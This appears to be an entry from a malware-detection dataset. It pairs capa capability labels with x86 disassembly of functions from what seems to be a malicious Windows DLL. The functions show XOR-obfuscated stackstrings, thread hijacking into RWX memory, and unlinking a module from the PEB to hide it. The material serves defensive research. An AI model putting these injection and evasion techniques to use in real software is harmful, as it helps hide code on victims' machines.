joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000810e
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
lea eax, [ecx + 1]
push 4
mov esi, eax
pop edi
mov dl, byte [ecx]
xor byte [esi], dl
inc esi
sub edi, 1
jne 0x10008118
pop edi
pop esi
mov byte [ecx + 5], 0
ret

Function at 0x100081e4
Capabilities:
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x1003e260]
movups xmmword [ebp - 0x34], xmm0
push ebx
movaps xmm0, xmmword [0x1003e350]
xor ebx, ebx
movups xmmword [ebp - 0x24], xmm0
mov ecx, ebx
movaps xmm0, xmmword [0x1003de80]
push esi
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10008211
push ebx
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], bl
push eax
push ebx
push 0x100460c8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100082f5
push 0x100460c4
push ebx
push ebx
push 0x8004
push dword [0x100460c8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100082f5
movaps xmm0, xmmword [0x1003e790]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x461e484f
movaps xmm0, xmmword [str.xhIx_]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x4c1a5c6e
movaps xmm0, xmmword [str.FIKn_XcqzdXLBj]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0xf5e547b
mov word [ebp - 4], 0x53
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000829a
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], bl
push eax
push dword [0x100460c4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100082f5
push 0x100460c0
push 0x800000
push dword [0x100460c4]
push 0x6801
push dword [0x100460c8]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x100082f5
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100460bc], eax
call fcn.10031eb0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10032380
mov ebx, 0x10008129
push ebx
push 0x100460b8
call fcn.10031bc0
call fcn.10031f10
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10008360
mov dword [0x100460b8], 0x60f6e0
call fcn.10031eb0
call esi
push eax
call fcn.10032380
push ebx
push 0x100460b8
call fcn.10031730
call fcn.10031f10
call fcn.10031eb0
call esi
push eax
call fcn.10032380
mov ebx, 0x1000814b
push ebx
push 0x100460b4
call fcn.10031bc0
call fcn.10031f10
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100083ba
mov dword [0x100460b4], 0x60eab0
call fcn.10031eb0
call esi
push eax
call fcn.10032380
push ebx
push 0x100460b4
call fcn.10031730
call fcn.10031f10
pop esi
pop ebx
leave
ret
Function at 0x10009091
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
lea eax, [ecx + 1]
push 0xd
mov esi, eax
pop edi
mov dl, byte [ecx]
xor byte [esi], dl
inc esi
sub edi, 1
jne 0x1000909b
pop edi
pop esi
mov byte [ecx + 0xe], 0
ret

Function at 0x1000aa4f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10044040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1003e310]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x20], ecx
push edi
mov edi, edx
mov byte [ebp - 0x24], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xf
jb 0x1000aa79
sub esp, 0x18
mov byte [ebp - 0x24], bl
lea eax, [ebp - 0x33]
mov ecx, esp
push eax
call fcn.10002604
lea ecx, [ebp - 0x1c]
call fcn.1002c94f
add esp, 0x18
test edi, edi
jle 0x1000aadc
cmp dword [ebp - 8], 0xf
lea esi, [ebp - 0x1c]
cmova esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000aab4
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 8], 0xf
lea ecx, [ebp - 0x1c]
cmova ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x20]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x1000aaa6
lea ecx, [ebp - 0x1c]
call fcn.10002410
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10033294
leave
ret
Function at 0x1000ade8
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x100351e0
call fcn.10034326
mov esi, ecx
test esi, esi
je 0x1000af5a
xor ebx, ebx
lea edi, [ebp - 0x34]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x34], vtable.ByteBuffer.0
mov byte [ebp - 0x30], 1
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x18]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x20
call fcn.100049d9
mov dword [ebp - 0x34], vtable.Packet.0
xor edi, edi
inc edi
mov dword [ebp - 4], edi
cmp dword [esi + 4], ebx
jle 0x1000aeb0
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x50]
push dword [esi + 4]
mov al, byte [eax]
mov byte [ebp - 0x14], al
call fcn.10004a46
push edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], vtable.Packet.0
call fcn.10004be8
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x34]
call fcn.1000aa16
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x50], vtable.ByteBuffer.0
call fcn.10004abd
mov eax, dword [esi + 4]
test eax, eax
jle 0x1000aeb0
dec eax
lea ecx, [ebp - 0x34]
push eax
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.10004be8
cmp byte [0x1004608e], 0
jne 0x1000af43
mov eax, dword [ebp - 0x24]
mov ecx, ebx
mov edi, dword [ebp - 0x20]
movaps xmm0, xmmword [0x1003e740]
sub edi, eax
mov dword [ebp - 0x18], eax
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x54], bl
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xf
jb 0x1000aed8
sub esp, 0x18
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.10002604
lea ecx, [ebp - 0x4c]
call fcn.1002c94f
add esp, 0x18
test edi, edi
jle 0x1000af3b
cmp dword [ebp - 0x38], 0xf
lea esi, [ebp - 0x4c]
cmova esi, dword [ebp - 0x4c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000af13
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 0x38], 0xf
lea ecx, [ebp - 0x4c]
cmova ecx, dword [ebp - 0x4c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x18]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x1000af05
lea ecx, [ebp - 0x4c]
call fcn.10002410
lea ecx, [ebp - 0x34]
call fcn.1000aceb
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x34], vtable.ByteBuffer.0
call fcn.10004abd
call fcn.100342e4
ret
Function at 0x1000b1ec
Capabilities:
Encode data using xor

Disassembly:
push 0x58
mov eax, 0x10035224
call fcn.10034326
cmp byte [0x1007cfbc], 0
je 0x1000b314
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [0x1007cfe8]
sbb edx, dword [0x1007cfec]
mov dword [ebp - 0x50], edx
jne 0x1000b227
cmp eax, 0xbb8
jb 0x1000b314
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
movaps xmm0, xmmword [0x1003dca0]
xor ecx, ecx
mov dword [0x1007cfe8], eax
mov dword [0x1007cfec], edx
movups xmmword [ebp - 0x64], xmm0
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xe
jb 0x1000b245
sub esp, 0x18
mov byte [ebp - 0x55], 0
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.10002604
lea ecx, [ebp - 0x48]
call fcn.1002c94f
add esp, 0x18
and dword [ebp - 4], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x14], 0xa1
rep stosd dword es:[edi], eax
push 0x1000
lea ecx, [ebp - 0x30]
call fcn.10004a46
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.Packet.0
call fcn.10004be8
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x14], 0xa2
call fcn.10004be8
cmp dword [ebp - 0x34], 0xf
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmova eax, dword [ebp - 0x48]
push eax
call fcn.10004984
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], eax
cmp ecx, 0x4000
ja 0x1000b2fd
mov ecx, dword ds:[0x1003863c]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
call dword [0x10038638]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.10004abd
lea ecx, [ebp - 0x48]
call fcn.10002410
call fcn.100342e4
ret
Function at 0x1000b646
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
mov edi, dword [0x1007cfb0]
call fcn.10003b6d
mov dword [edi], eax
lea eax, [edi + 8]
push eax
call fcn.10003ddc
lea eax, [edi + 0x20]
xor ebx, ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.10003ddc
mov ecx, eax
call fcn.10003e89
mov byte [edi + 0x38], al
call fcn.10003e89
mov byte [edi + 0x39], al
call fcn.10003e67
mov word [edi + 0x3e], ax
call fcn.10003e89
mov byte [edi + 0x3a], al
call fcn.10003e89
mov byte [edi + 0x3b], al
call fcn.10003e89
mov byte [edi + 0x3c], al
call fcn.10003e89
mov byte [edi + 0x68], al
call fcn.10003e89
mov byte [edi + 0x69], al
call fcn.10003e89
mov byte [edi + 0x6a], al
call fcn.10003e89
mov byte [edi + 0x6b], al
call fcn.10003e89
mov byte [edi + 0x6c], al
call fcn.10003b6d
mov dword [edi + 0x4c], eax
call fcn.10003b6d
mov ecx, dword [0x1007cfb8]
mov dword [edi + 0x50], eax
mov byte [0x1007cfbc], 1
test ecx, ecx
je 0x1000b701
mov ecx, dword [ecx + 0x20]
test ecx, ecx
je 0x1000b701
call fcn.100103ae
mov eax, dword [0x1007cfb4]
test eax, eax
je 0x1000b72c
cmp byte [eax], bl
jne 0x1000b72c
push ebx
push ebx
push eax
push 0x1000c871
push ebx
push ebx
mov byte [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000b72c
mov ecx, eax
call fcn.1000c551
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1000c226
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10044040]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1003e470]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0x313d3770
push esi
mov esi, ecx
mov byte [ebp - 0x20], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x1000c253
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], bl
push eax
mov edx, 0x10045480
lea ecx, [ebp - 0x1c]
call fcn.10008db4
mov eax, dword [esi + 0x1fc]
pop ecx
test eax, eax
je 0x1000c286
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push 0x8010
cmova eax, dword [ebp - 0x1c]
push ebx
push ebx
push 1
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1000c2c0
mov dword [esi + 0x14], eax
cmp byte [esi + 0x200], bl
je 0x1000c2c0
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
lea ecx, [ebp - 0x1c]
call fcn.10002410
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10033294
leave
ret
Function at 0x1000c3fd
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10044040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x2f4], 0x736b4d1f
push esi
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 0x2f0], 0x7b7e7053
mov dword [ebp - 0x2ec], 0x766d6b4c
mov word [ebp - 0x2e8], 0x7871
mov byte [ebp - 0x2e6], bl
call fcn.10009091
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x2e4], 0x3a2a305e
mov esi, eax
mov dword [ebp - 0x2e0], 0x3a703232
mov word [ebp - 0x2dc], 0x3232
mov byte [ebp - 0x2da], bl
call fcn.10001431
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x1000c541
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000c541
push 0x2c8
lea eax, [ebp - 0x2d4]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000c541
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000c541
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000c541
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x1000183f
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000c541
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
jmp 0x1000c543
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10033294
leave
ret

Function at 0x1000c551
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], 0x70607a14
mov esi, ecx
mov dword [ebp - 8], 0x703a7878
push edi
mov cl, 0x14
mov word [ebp - 4], 0x7878
mov byte [ebp - 2], bl
mov eax, ebx
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 9
jae 0x1000c588
mov cl, byte [ebp - 0xc]
jmp 0x1000c579
lea eax, [ebp - 0xb]
mov byte [ebp - 2], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x1000c5f2
movaps xmm0, xmmword [0x1003e980]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x776d516b
mov dword [ebp - 0x10], 0x616460
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x16
jb 0x1000c5b6
lea eax, [ebp - 0x23]
mov byte [ebp - 0xd], bl
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000c5f2
test esi, esi
jne 0x1000c5e3
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push ebx
push ebx
push 0x11
push esi
call edi
neg eax
sbb al, al
inc al
jmp 0x1000c5f4
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000c5f9
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000c633
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000c637
cmp edx, esi
jne 0x1000c61c
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000c657
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000c65b
cmp edx, esi
jne 0x1000c640
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000c67b
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000c67f
cmp edx, esi
jne 0x1000c664
popfd
popal
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000c709
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10044040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.100074fd
test eax, eax
je 0x1000c7e0
push esi
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1000c7e0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
movaps xmm0, xmmword [0x1003dd00]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xe
jb 0x1000c758
lea ecx, [ebp - 0x14]
mov byte [ebp - 0x15], bl
mov dword [ebp - 0x14], 0x1909137d
mov dword [ebp - 0x10], 0x19531111
mov word [ebp - 0xc], 0x1111
mov byte [ebp - 0xa], bl
call fcn.10001431
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x23]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov ebx, eax
call fcn.10009ccd
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1000c7d1
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push edi
call ebx
test eax, eax
js 0x1000c7e0
cmp dword [ebp - 8], 0
ja 0x1000c7e0
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10033294
leave
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000c7e9
Capabilities:
Resume thread

Disassembly:
push 0xc
push 0x10040118
call fcn.10034040
mov esi, dword [0x1007cff0]
test esi, esi
jne 0x1000c804
or eax, 0xffffffff
jmp 0x1000c861
and dword [ebp - 4], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1000c824
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x1000c861
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x1000c83b
mov dword [ebp - 4], 0xfffffffe
push 2
pop eax
jmp 0x1000c861
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
test eax, eax
jns 0x1000c858
mov dword [ebp - 4], 0xfffffffe
push 3
jmp 0x1000c838
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000cafb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], 0x312c395e
push esi
push edi
mov dl, 0x5e
mov word [ebp - 8], 0x2e2b
mov esi, dword [ebx]
xor eax, eax
mov byte [ebp - 6], 0
xor byte [ebp + eax - 0xb], dl
inc eax
cmp eax, 5
jae 0x1000cb2c
mov dl, byte [ebp - 0xc]
jmp 0x1000cb1d
sub esp, 0x18
mov byte [ebp - 6], 0
lea eax, [ebp - 0xb]
mov ecx, esp
push eax
call fcn.10002604
mov ecx, esi
call fcn.10009101
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x716b7d1f
mov edi, eax
mov dword [ebp - 0x18], 0x7e737c40
mov dword [ebp - 0x14], 0x7e7d4071
mov esi, esp
mov word [ebp - 0x10], 0x7471
mov byte [ebp - 0xe], 0
call fcn.10009091
push eax
mov ecx, esi
call fcn.10002604
mov ecx, edi
call fcn.10009101
add esp, 0x18
mov dword [ebx + 4], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000d1af
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x2d3f3c5e
push edi
mov cl, 0x5e
mov dword [ebp - 0xc], 0x313d013b
mov word [ebp - 8], 0x2d
xor eax, eax
mov edi, dword [esi]
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 8
jae 0x1000d1e2
mov cl, byte [ebp - 0x10]
jmp 0x1000d1d3
sub esp, 0x18
mov byte [ebp - 7], 0
lea eax, [ebp - 0xf]
mov ecx, esp
push eax
call fcn.10002604
mov ecx, edi
call fcn.10009101
add esp, 0x18
mov dword [esi + 4], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x1000d212
and dword [esi + 4], 0
movaps xmm0, xmmword [0x1003de40]
xor ecx, ecx
mov edi, dword [esi + 4]
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x1000d222
sub esp, 0x18
mov byte [ebp - 5], 0
lea eax, [ebp - 0x13]
mov ecx, esp
push eax
call fcn.10002604
mov ecx, edi
call fcn.10009101
add esp, 0x18
mov dword [esi + 8], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x1000d25f
and dword [esi + 8], 0
cmp dword [esi + 8], 0
je 0x1000d279
cmp dword [0x10046398], 0
mov ecx, 0x10b78ba
sete dl
call fcn.10009c1e
pop edi
pop esi
leave
ret
Function at 0x1000e0da
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x14], 0x302a3c5e
sub esp, 0x18
mov dword [ebp - 0x10], 0x31323d01
lea ecx, [ebp - 0x14]
mov word [ebp - 0xc], 0x3b2d
mov byte [ebp - 0xa], 0
mov esi, esp
mov edi, dword [ebx + 0x20]
call fcn.10001431
push eax
mov ecx, esi
call fcn.10002604
mov ecx, edi
call fcn.10009101
mov esi, dword [ebx + 0x20]
add esp, 0x18
mov dword [ebx], eax
mov cl, 0x1f
mov dword [ebp - 0x14], 0x716b7d1f
xor eax, eax
mov dword [ebp - 0x10], 0x7e6b6c40
mov word [ebp - 0xc], 0x6b6d
mov byte [ebp - 0xa], 0
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 9
jae 0x1000e14f
mov cl, byte [ebp - 0x14]
jmp 0x1000e140
sub esp, 0x18
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x13]
mov ecx, esp
push eax
call fcn.10002604
mov ecx, esi
call fcn.10009101
mov edi, dword [ebx + 0x20]
lea ecx, [ebp - 0x14]
mov dword [ebx + 4], eax
mov esi, esp
mov dword [ebp - 0x14], 0x7a607614
mov dword [ebp - 0x10], 0x7b60674b
mov word [ebp - 0xc], 0x64
call fcn.100021b9
push eax
mov ecx, esi
call fcn.10002604
mov ecx, edi
call fcn.10009101
movaps xmm0, xmmword [0x1003e9c0]
add esp, 0x18
mov esi, dword [ebx + 0x20]
xor ecx, ecx
mov dword [ebx + 8], eax
movups xmmword [ebp - 0x1c], xmm0
mov word [ebp - 0xc], 0x6062
mov byte [ebp - 0xa], 0
mov al, byte [ebp - 0x1c]
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0x11
jb 0x1000e1bb
sub esp, 0x18
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x1b]
mov ecx, esp
push eax
call fcn.10002604
mov ecx, esi
call fcn.10009101
mov edi, dword [ebx + 0x20]
lea ecx, [ebp - 0x18]
mov dword [ebx + 0xc], eax
mov esi, esp
mov dword [ebp - 0x18], 0x13091f7d
mov dword [ebp - 0x14], 0x12090e22
mov dword [ebp - 0x10], 0x1422161e
mov word [ebp - 0xc], 0x1313
mov byte [ebp - 0xa], 0
call fcn.10009091
push eax
mov ecx, esi
call fcn.10002604
mov ecx, edi
call fcn.10009101
mov esi, dword [ebx + 0x20]
add esp, 0x18
mov dword [ebx + 0x10], eax
mov cl, 0x46
mov dword [ebp - 0x14], 0x28322446
xor eax, eax
mov dword [ebp - 0x10], 0x2a233519
mov word [ebp - 0xc], 0x2a
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 8
jae 0x1000e24f
mov cl, byte [ebp - 0x14]
jmp 0x1000e240
sub esp, 0x18
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x13]
mov ecx, esp
push eax
call fcn.10002604
mov ecx, esi
call fcn.10009101
movaps xmm0, xmmword [0x1003e660]
add esp, 0x18
mov esi, dword [ebx + 0x20]
xor ecx, ecx
mov dword [ebx + 0x14], eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x5a405b41
mov byte [ebp - 8], 0
mov al, byte [ebp - 0x1c]
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0x13
jb 0x1000e289
sub esp, 0x18
mov byte [ebp - 8], 0
lea eax, [ebp - 0x1b]
mov ecx, esp
push eax
call fcn.10002604
mov ecx, esi
call fcn.10009101
add esp, 0x18
mov dword [ebx + 0x18], eax
mov ecx, eax
push 3
pop edx
call fcn.100096b7
pop edi
pop esi
pop ebx
leave
ret